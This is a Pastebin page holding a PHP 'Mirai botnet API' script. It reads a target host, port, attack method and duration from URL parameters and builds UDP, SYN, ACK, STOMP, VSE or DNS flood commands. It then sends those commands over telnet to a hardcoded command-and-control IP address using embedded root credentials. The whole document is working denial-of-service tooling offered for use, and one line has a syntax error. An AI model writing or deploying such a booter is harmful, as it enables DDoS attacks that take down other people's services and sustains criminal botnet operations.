Advertisement
xB4ckdoorREAL

MIRAI BOTNET API [PHP]

Feb 8th, 2019
1,586
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.00 KB | None | 0 0
  1. <?php
  2. error_reporting(E_ALL);
  3.  
  4.     $APIKeys = array("Key1", "Key2", "Key3");
  5.     $attackMethods = array("RAWUDP", "ACK", "STOMP", "DNS", "VSE", "SYN", "GHP");
  6.  
  7.     function htmlsc($string)
  8.  
  9.     {
  10.         return htmlspecialchars($string, ENT_QUOTES, "UTF-8");
  11.     }
  12.  
  13.     if (!isset($_GET["key"]) || !isset($_GET["host"]) || !isset($_GET["port"]) || !isset($_GET["method"]) || !isset($_GET["time"]))
  14.         die("You are missing a parameter");
  15.     $key = htmlsc($_GET["key"]);
  16.     $host = htmlsc($_GET["host"]);
  17.     $port = htmlsc($_GET["port"]);
  18.     $method = htmlsc(strtoupper($_GET["method"]));
  19.     $time = htmlsc($_GET["time"]);
  20.     $command = "";
  21.  
  22.     if (!in_array($key, $APIKeys)) die("Invalid API key");
  23.     if (!in_array($method, $attackMethods)) die("Invalid attack method");
  24.     if ($method == "RAWUDP" $command = "udpplain $host $time len=65500 rand=1 dport=$port\r\n";
  25.     else if ($method == "DNS") $command = "dns $host $time dport=$port domain=$host\r\n";
  26.     else if ($method == "SYN") $command = "syn $host $time dport=$port\r\n";
  27.     else if ($method == "ACK") $command = "ack $host $time dport=$port\r\n";
  28.     else if ($method == "STOMP") $command = "stomp $host $time dport=$port\r\n";
  29.     else if ($method == "VSE") $command = "vse $host $time dport=$port\r\n";
  30.     //else if ($method == "GHP") $command = "http $host $time domain=$host path=/ conns=10000"
  31.     $socket = fsockopen("163.172.154.124", "23"); // Example: $socket = fsockopen("1.2.3.4", 1337);
  32.     ($socket ? null : die("Failed to connect"));
  33.     fwrite($socket, " \r\n"); // If you don't require a username, just remove this line...
  34.     sleep(3);
  35.     fwrite($socket, "root\r\n"); // If you don't require a username, just remove this line...
  36.     sleep(3);
  37.     fwrite($socket, "hacker\r\n");
  38.     sleep(9); // Why? I've noticed for some people it doesn't work w/o the sleep() (or anything before fwrite()ing $command)!
  39.     fwrite($socket, $command);
  40.     fclose($socket);
  41.     echo "Attack sent to $host:$port for $time seconds using method $method!\n";
  42. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement